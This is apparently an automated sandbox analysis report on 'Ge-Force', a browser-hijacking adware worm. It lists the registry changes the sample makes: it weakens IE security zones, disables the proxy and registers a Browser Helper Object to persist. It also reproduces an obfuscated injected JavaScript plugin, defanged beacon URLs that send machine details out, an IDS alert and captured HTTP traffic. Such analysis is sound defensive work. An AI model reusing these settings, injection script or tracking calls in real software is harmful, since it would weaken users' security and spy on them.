[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Ge-Force-codedownloader.exe:2564 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 15 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D7 8A EA 02 46 B1 54 1E 18 F1 0E CA 5C 93 93 E3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Worm deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process regsvr32.exe:2416 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.BHO\CurVer]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644914429}\1.0\HELPDIR]
"(Default)" = "%Program Files%\Ge-Force"

[HKCR\Interface\{66666666-6666-6666-6666-660666916629}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\VersionIndependentProgID]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.BHO.1\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611911129}"

[HKCR\Interface\{66666666-6666-6666-6666-660666916629}]
"(Default)" = "ISandBox"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.BHO\CLSID]
"(Default)" = "{11111111-1111-1111-1111-110611911129}"

[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox"

[HKCR\Interface\{55555555-5555-5555-5555-550655915529}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644914429}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{55555555-5555-5555-5555-550655915529}\TypeLib]
"Version" = "1.0"

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}]
"(Default)" = "Ge-Force"

[HKCR\Interface\{55555555-5555-5555-5555-550655915529}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644914429}"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644914429}\1.0]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129 Type Library"

[HKCR\Interface\{66666666-6666-6666-6666-660666916629}\TypeLib]
"Version" = "1.0"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622912229}"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox.1\CLSID]
"(Default)" = "{22222222-2222-2222-2222-220622912229}"

[HKCR\Interface\{55555555-5555-5555-5555-550655915529}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\InprocServer32]
"(Default)" = "%Program Files%\Ge-Force\Ge-Force-bho.dll"

[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\InprocServer32]
"(Default)" = "%Program Files%\Ge-Force\Ge-Force-bho.dll"

[HKCR\Interface\{66666666-6666-6666-6666-660666916629}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.BHO]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129"

[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\ProgID]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox.1"

[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\VersionIndependentProgID]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox.1]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox"

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\ProgID]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129.BHO.1"

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Interface\{66666666-6666-6666-6666-660666916629}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644914429}"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.BHO.1]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129"

[HKCR\TypeLib\{44444444-4444-4444-4444-440644914429}\1.0\0\win32]
"(Default)" = "%Program Files%\Ge-Force\Ge-Force-bho.dll"

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "59 CF F8 5D EB 30 6B 3C 3D 18 05 8A 10 0B BE F6"

[HKCR\Interface\{55555555-5555-5555-5555-550655915529}]
"(Default)" = "ICrossriderBHO"

[HKCR\fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox\CurVer]
"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129.Sandbox"

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644914429}"

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\Implemented Categories]
"(Default)" = ""

[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\TypeLib]
"(Default)" = "{44444444-4444-4444-4444-440644914429}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611911129}]
"NoExplorer" = "1"

"(Default)" = "fd489e8cf7fd4ea1abbfd6139cb6d3390069129"

The Worm deletes the following registry key(s):

[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\Programmable]
[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\TypeLib]
[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\Programmable]
[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\VersionIndependentProgID]
[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}]
[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\Implemented Categories]
[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\ProgID]
[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\Implemented Categories\{59fb2056-d625-48d0-a944-1a85b5ab2640}]
[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\TypeLib]
[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\InprocServer32]
[HKCR\CLSID\{22222222-2222-2222-2222-220622912229}\InprocServer32]
[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}]
[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\VersionIndependentProgID]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{11111111-1111-1111-1111-110611911129}]
[HKCR\CLSID\{11111111-1111-1111-1111-110611911129}\ProgID]

The process Khtmovq.exe:664 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKCU\Software\Ge-Force\Plugins\192]
"URL" = "http://js.newstatsclientcloud.com/plugins/mins/192.js"

[HKCU\Software\InstalledBrowserExtensions\21836]
"69129" = "Ge-Force"

[HKCU\Software\Ge-Force\Plugins\17]
"URL" = "http://js.newstatsclientcloud.com/plugins/mins/17.js"

[HKCU\Software\Ge-Force\Plugins\242]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWQ3ZjZjNTYwYzFlMWExZDMzMTEwYTU3NWY1NDQ2MDIxYTE5MTY1OTQ5NWEwYzFhMTcxZTQwMWUwZTBjMTYwNTBjMWEwMzBiMWEwODQ4MGEwODEzMGE1YjBlMTk0MTFlMDEzYzA0MTI0YjFlMTc1NTJmMmIyMDJhMmEzYzI0MjAyMTM1MjcyOTViMDAxNDA2MTcxMDE2NGMzZDM4MjQzYzIyM2MzNjIwMzYyMzJjMzgzMjI2MzQyYTJjMzA1OTM1MzEyZTM0MmMzNTI2MzczZDIwMmYzYzMyMjMzYjMyMzAyYjMwMjEyZTMxM2UzMzIxMzkzYzIxMmIzYjRjMmMzZjI3MmQyMjJhMjEzZDM3M2EyMjJjM2YzYzI4MzQyODMxNTkzNTMxMmUzNDJjMzUyNjM3M2QyMDJmM2MzMjI3MzMzNjJhMmIzNTI5MmYzMTMyNDQ0ZjZjN2M0NzFjMTAxZTFlMWUzMzExMGE1NzVmNTQ0NjAyMWExOTE2MTA1YzVhNGExZDBhMTkxYTQzMTUwYjA5MDUxNTFkMGEwZDBmMTkwMzRkMGYxYjAzMWI0YjAwMWQ0MjE1MDQzOTE3MDI1YTBlMTk1MTJjMjAyNTJmMzkyYzM1MzAyZjMxMjQyMjVlMDUwNzE2MDYwMDE4NDgzZTMzMjEzOTMxMmMyNzMwMzgyNzJmMzMzNzIzMjczYTNkMjA1NzMxMzIyNTMxMjkyNjM2MjYyZDJlMmIzZjM5MjYzZTIxMjAzYTIwMmYyYTMyMzUzNjI0MmEyYzMwM2IzNTQ4MmYzNDIyMjgzMTNhMzAyZDM5M2UyMTI3M2EzOTNiMjQzOTIxNTczMTMyMjUzMTI5MjYzNjI2MmQyZTJiM2YzOTIyMzYyNTNhM2EyNTI3MmIzMjM5NDE0YTdmNmM1NjE0MDYxYjBhMGYwZDJmMTE0NzRlNDQ1ODVhNWY2YzFl', 'fuetdjnmfc'); }"

[HKCU\Software\Ge-Force\Plugins\22]
"Name" = "resources"

[HKCU\Software\Ge-Force\Plugins\39]
"Version" = "5"

[HKCU\Software\Ge-Force\Plugins\9]
"JavaScript" = "appAPI.hooks.addHook(searchEngine,(function(a){return function(){var f={keyDelay:1000},e,h;return{init:function(i){e=this;this.addEngine({name:google,url:google,input:input[name=q],results:#rso,result:'

VersionInfo

Company Name: Idzcf & co.
Product Name: Id-Eqhowiozunlmy
Product Version:
Legal Copyright: Copyright Vylorzwjeixeou
Legal Trademarks: Eqhowiozunlmy is a trademark of Kuoyj
Original Filename:
Internal Name:
File Version: 15.4.13.18
File Description: Teocxdjqh
Comments: comment on Khtmovq
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://ipgeoapi.com/	23.21.123.184
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=69129&appver=0&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&xpiver=0_95&crxver=1_26_9&silent=1&os=XP32&osbuild=2600&osprod=Microsoft Windows XP&ossp=Service Pack 3&osinstdt=1360584879&admin=1&type=17179873281&asw=0&asw2=1073750528&asw3=-2147483648&asw4=0&crtnm=AirplaneNetworks&procstarttime=1421039403&procruntime=6&rnd=1421039409
hxxp://cds.m9u9b7r5.hwcdn.net/monetization.gif?event=3&ibic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&campaign=001729&country=ca&app=69129&os=XP32&defbro=ie&chver=na&ffver=na&iever=6.0.2900.5512&starttime=1421039403&asw=0_1073750528_-2147483648_0&browser=ie,de&rnd=1421039403
hxxp://cds.m9u9b7r5.hwcdn.net/plugin/apps/69129/manifest/1_35_12_18/ie6/manifest.xml?ver=9&rnd=7431
hxxp://cds.m9u9b7r5.hwcdn.net/plugin/apps/69129/js/na/ie/app_code.js?ver=27&rnd=1521
hxxp://cds.m9u9b7r5.hwcdn.net/plugin/apps/69129/plugins/na/ie/plugins.json?ver=23&rnd=5437
hxxp://cds.m9u9b7r5.hwcdn.net/plugins/mins/356.js?ver=1&rnd=41
hxxp://cds.m9u9b7r5.hwcdn.net/plugins/mins/193.js?ver=9&rnd=41
hxxp://cds.m9u9b7r5.hwcdn.net/plugins/mins/262.js?ver=2&rnd=41
hxxp://cds.m9u9b7r5.hwcdn.net/plugins/mins/288.js?ver=1&rnd=41
hxxp://cds.m9u9b7r5.hwcdn.net/plugins/mins/350.js?ver=1&rnd=41
hxxp://cds.m9u9b7r5.hwcdn.net/plugins/mins/337.js?ver=1&rnd=41
hxxp://cds.m9u9b7r5.hwcdn.net/plugins/mins/184.js?ver=11&rnd=41
hxxp://cds.m9u9b7r5.hwcdn.net/plugins/mins/91.js?ver=118&rnd=41
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=update&app=69129&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&ver=1_35_12_18&installtime=1421039403&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001729&subid=0&zdata=0&appver=27&bgver=1&pluginsver=23&curtime=1421039416&lifetime=13&oldappver=9&oldbgver=1&oldpluginsver=5&rnd=4509
hxxp://s3-website-us-east-1.amazonaws.com/stats.gif?action=daily&app=69129&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&ver=1_35_12_18&installtime=1421039403&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001729&subid=0&zdata=0&appver=27&bgver=1&pluginsver=23&curtime=1421039418&lifetime=15&rnd=6909
hxxp://cds.m9u9b7r5.hwcdn.net/plugin/apps/69129/manifest/1_35_12_18/ie6/manifest.xml?ver=27&rnd=8405
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&app=69129&appver=27&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&xpiver=0_95&crxver=1_26_9&silent=1&os=XP32&osbuild=2600&osprod=Microsoft Windows XP&ossp=Service Pack 3&osinstdt=1360584879&admin=1&type=17179873281&asw=0&asw2=1073750528&asw3=-2147483648&asw4=0&crtnm=AirplaneNetworks&ieprofiles=1&chprofiles=na&ffprofiles=na&procstarttime=1421039403&procruntime=22&rnd=1421039425
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=69129&appver=27&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&installtime=1421039403&lifetime=0&silent=1&crtnm=AirplaneNetworks&procstarttime=1421039403&procruntime=22&rnd=1421039425
hxxp://cds.m9u9b7r5.hwcdn.net/monetization.gif?event=4&ibic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&campaign=001729&country=ca&app=69129&os=XP32&defbro=ie&chver=na&ffver=na&iever=6.0.2900.5512&starttime=1421039403&asw=0_1073750528_-2147483648_0&browser=ie,de&rnd=1421039403
hxxp://logs.newstatsclientcloud.com/monetization.gif?event=4&ibic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&campaign=001729&country=ca&app=69129&os=XP32&defbro=ie&chver=na&ffver=na&iever=6.0.2900.5512&starttime=1421039403&asw=0_1073750528_-2147483648_0&browser=ie,de&rnd=1421039403	69.16.175.10
hxxp://js.newstatsclientcloud.com/plugin/apps/69129/manifest/1_35_12_18/ie6/manifest.xml?ver=9&rnd=7431	69.16.175.10
hxxp://js.newstatsdemosrv.com/plugins/mins/356.js?ver=1&rnd=41	69.16.175.10
hxxp://js.newstatsdemosrv.com/plugins/mins/350.js?ver=1&rnd=41	69.16.175.10
hxxp://js.newstatsdemosrv.com/plugins/mins/193.js?ver=9&rnd=41	69.16.175.10
hxxp://stats.newstatsclientcloud.com/installer.gif?action=started&app=69129&appver=0&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&xpiver=0_95&crxver=1_26_9&silent=1&os=XP32&osbuild=2600&osprod=Microsoft Windows XP&ossp=Service Pack 3&osinstdt=1360584879&admin=1&type=17179873281&asw=0&asw2=1073750528&asw3=-2147483648&asw4=0&crtnm=AirplaneNetworks&procstarttime=1421039403&procruntime=6&rnd=1421039409	54.231.32.196
hxxp://js.newstatsdemosrv.com/plugin/apps/69129/plugins/na/ie/plugins.json?ver=23&rnd=5437	69.16.175.10
hxxp://logs.newstatsclientcloud.com/monetization.gif?event=3&ibic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&campaign=001729&country=ca&app=69129&os=XP32&defbro=ie&chver=na&ffver=na&iever=6.0.2900.5512&starttime=1421039403&asw=0_1073750528_-2147483648_0&browser=ie,de&rnd=1421039403	69.16.175.10
hxxp://stats.newstatsclientcloud.com/apps.gif?action=install&app=69129&appver=27&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&installtime=1421039403&lifetime=0&silent=1&crtnm=AirplaneNetworks&procstarttime=1421039403&procruntime=22&rnd=1421039425	54.231.32.196
hxxp://js.newstatsdemosrv.com/plugins/mins/288.js?ver=1&rnd=41	69.16.175.10
hxxp://stats.newstatsclientcloud.com/stats.gif?action=daily&app=69129&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&ver=1_35_12_18&installtime=1421039403&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001729&subid=0&zdata=0&appver=27&bgver=1&pluginsver=23&curtime=1421039418&lifetime=15&rnd=6909	54.231.32.196
hxxp://js.newstatsdemosrv.com/plugins/mins/91.js?ver=118&rnd=41	69.16.175.10
hxxp://js.newstatsdemosrv.com/plugin/apps/69129/js/na/ie/app_code.js?ver=27&rnd=1521	69.16.175.10
hxxp://stats.newstatsclientcloud.com/installer.gif?action=finished&app=69129&appver=27&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&xpiver=0_95&crxver=1_26_9&silent=1&os=XP32&osbuild=2600&osprod=Microsoft Windows XP&ossp=Service Pack 3&osinstdt=1360584879&admin=1&type=17179873281&asw=0&asw2=1073750528&asw3=-2147483648&asw4=0&crtnm=AirplaneNetworks&ieprofiles=1&chprofiles=na&ffprofiles=na&procstarttime=1421039403&procruntime=22&rnd=1421039425	54.231.32.196
hxxp://stats.newstatsclientcloud.com/apps.gif?action=update&app=69129&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&ver=1_35_12_18&installtime=1421039403&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001729&subid=0&zdata=0&appver=27&bgver=1&pluginsver=23&curtime=1421039416&lifetime=13&oldappver=9&oldbgver=1&oldpluginsver=5&rnd=4509	54.231.32.196
hxxp://js.newstatsdemosrv.com/plugins/mins/262.js?ver=2&rnd=41	69.16.175.10
hxxp://js.newstatsclientcloud.com/plugin/apps/69129/manifest/1_35_12_18/ie6/manifest.xml?ver=27&rnd=8405	69.16.175.10
hxxp://js.newstatsdemosrv.com/plugins/mins/337.js?ver=1&rnd=41	69.16.175.10
hxxp://js.newstatsdemosrv.com/plugins/mins/184.js?ver=11&rnd=41	69.16.175.10

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET MALWARE Win32/Toolbar.CrossRider.A Checkin

Traffic

GET /installer.gif?action=started&app=69129&appver=0&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&xpiver=0_95&crxver=1_26_9&silent=1&os=XP32&osbuild=2600&osprod=Microsoft Windows XP&ossp=Service Pack 3&osinstdt=1360584879&admin=1&type=17179873281&asw=0&asw2=1073750528&asw3=-2147483648&asw4=0&crtnm=AirplaneNetworks&procstarttime=1421039403&procruntime=6&rnd=1421039409 HTTP/1.1

Host: stats.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: 5YWqA/hbsAT52j7 X ANIhfz8LeZSwbzZennRSNr95qyRT5/GOxJxu15bYYT9dyR

x-amz-request-id: 0498DAA53AE4D7AA

Date: Mon, 12 Jan 2015 10:21:19 GMT

Cache-Control: no-cache, must-revalidate

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:10:53 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=update&app=69129&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&ver=1_35_12_18&installtime=1421039403&os=XP32&browser=ie&browserver=6&ffver=X&chromever=X&srcid=001729&subid=0&zdata=0&appver=27&bgver=1&pluginsver=23&curtime=1421039416&lifetime=13&oldappver=9&oldbgver=1&oldpluginsver=5&rnd=4509 HTTP/1.1

Accept: */*

Host: stats.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: Ua7e9bbvbbCCT1UU bIiJuiUTlKYm66dUzVHP y9fM8Qw6DgdOMqkLlvENZ3CpV4

x-amz-request-id: 8228922C1C267E83

Date: Mon, 12 Jan 2015 10:21:25 GMT

Cache-Control: no-cache, must-revalidate

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Tue, 25 Feb 2014 00:10:44 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /installer.gif?action=finished&app=69129&appver=27&ver=1_35_12_18&version_date=14-12-27&bic=589912D45CE0412C9CDE01D4C96E2298IE&verifier=7d6635bb3acc762051a59407230a02ec&upi=ad4be4dbacb148f1afcb2fc4c6d21a95&procid=62D079BFE1B9432A91182E2E2A8C1EF9PI&srcid=001729&subid=0&zdata=0&browser=ie&browserver=6&default=ie&chver=na&ffver=na&iever=6.0.2900.5512&curtime=&country=ca&aver=X&xpiver=0_95&crxver=1_26_9&silent=1&os=XP32&osbuild=2600&osprod=Microsoft Windows XP&ossp=Service Pack 3&osinstdt=1360584879&admin=1&type=17179873281&asw=0&asw2=1073750528&asw3=-2147483648&asw4=0&crtnm=AirplaneNetworks&ieprofiles=1&chprofiles=na&ffprofiles=na&procstarttime=1421039403&procruntime=22&rnd=1421039425 HTTP/1.1

Host: stats.newstatsclientcloud.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: A/zmK/7hgaaXBz9PonyEz79wBldwn4ioXtD1LKmI1eMLwSl2i1b3Rd 04pDGV3wy

x-amz-request-id: 3F5834F5D7454D55

Date: Mon, 12 Jan 2015 10:21:34 GMT

Cache-Control: no-cache, must-revalidate

